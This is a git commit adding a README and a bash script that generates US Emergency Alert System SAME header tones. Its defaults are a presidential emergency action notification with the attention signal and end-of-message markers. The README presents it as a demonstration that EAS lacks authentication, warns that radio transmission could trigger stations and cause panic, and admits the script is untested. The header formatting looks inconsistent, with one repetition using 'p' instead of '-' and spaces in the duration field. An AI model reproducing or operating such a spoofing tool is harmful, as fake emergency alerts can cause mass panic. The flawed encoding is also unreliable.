Initial commit

This commit is contained in:
BretMcDanel 2021-12-31 03:13:48 -08:00
parent 5408f2fde5
commit ced8b959e5
2 changed files with 66 additions and 0 deletions

View File

@ -1,2 +1,26 @@
# EAS-generator
The Emergency Alert Service message generator
## Background
EAS is a US government system designed to inform the public about emergencies. It replaced the EBS system in the 1990s. At that time they decided it was a good idea to remove any authentication that EBS had. To this day authentication does not exist.
This script is an attempt to create a technically valid emergency alert generator to demonstrate that it is trivial and that it should be fixed. This has been an issue for a long time and nothing is being done about it. DHS was contacted 10 years ago when I wrote a similar program (now lost in time, but probably was more accurate than this).
## Prerequisites
You will need both sox and minimodem
```
sudo apt install -y sox minimodem
```
## Usage
Dont. Just dont. But if you must edit the message in the script and run it. Running it by itself will do nothing. If it is transmitted by radio on the right frequency, with the right data, and the right modulation it could possibly trigger stations to run an alert causing "war of the worlds" type panic.
## Caveat
Unlike my program 10 years ago I did not test this. I am uncertain if it actually works (I do not know if minimodem correctly generates tones but have no reason to doubt). This was written to illustrate the problem not to let people do fake zombie alerts.

42
eas.sh Executable file
View File

@ -0,0 +1,42 @@
#!/bin/bash
## Requires: minimodem sox
### sudo apt install -y minimodem sox
# check for dependencies
hash minimodem 2>/dev/null || { echo >&2 "I require minimodem but it's not installed. Aborting."; exit 1; }
hash play 2>/dev/null || { echo >&2 "I require sox but it's not installed. Aborting."; exit 1; }
## For valid Originator Codes, Event Codes, and Location Codes see 47 CFR § 11.31
## https://www.law.cornell.edu/cfr/text/47/11.31
PREAMBLE='\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB\xAB'
ORIGINATOR=PEP
EVENT=EAN
LOCATION=000000
DURATION=2400
PARTICIPANT_ID=00000000
# Go time is "now"
STARTTIME=$(TZ=UTC date +%j%H%M)
echo -n -e "${PREAMBLE}ZCZC-${ORIGINATOR}-${EVENT} + ${DURATION}-${STARTTIME}-${PARTICIPANT_ID}-" | minimodem --tx same
sleep 1
echo -n -e "${PREAMBLE}ZCZC-${ORIGINATOR}-${EVENT} + ${DURATION}p${STARTTIME}-${PARTICIPANT_ID}-" | minimodem --tx same
sleep 1
echo -n -e "${PREAMBLE}ZCZC-${ORIGINATOR}-${EVENT} + ${DURATION}-${STARTTIME}-${PARTICIPANT_ID}-" | minimodem --tx same
sleep 1
# 8-25 second attention signal 835+960 Hz
play -n synth 10 sin 835 sin 960 remix -
sleep 1
# transmission of audio, video or text message
echo -n -e "Some message should go here" | minimodem --tx same
sleep 1
for i in {1..3}; do
echo -n -e "${PREAMBLE}NNNN" | minimodem --tx same
sleep 1
done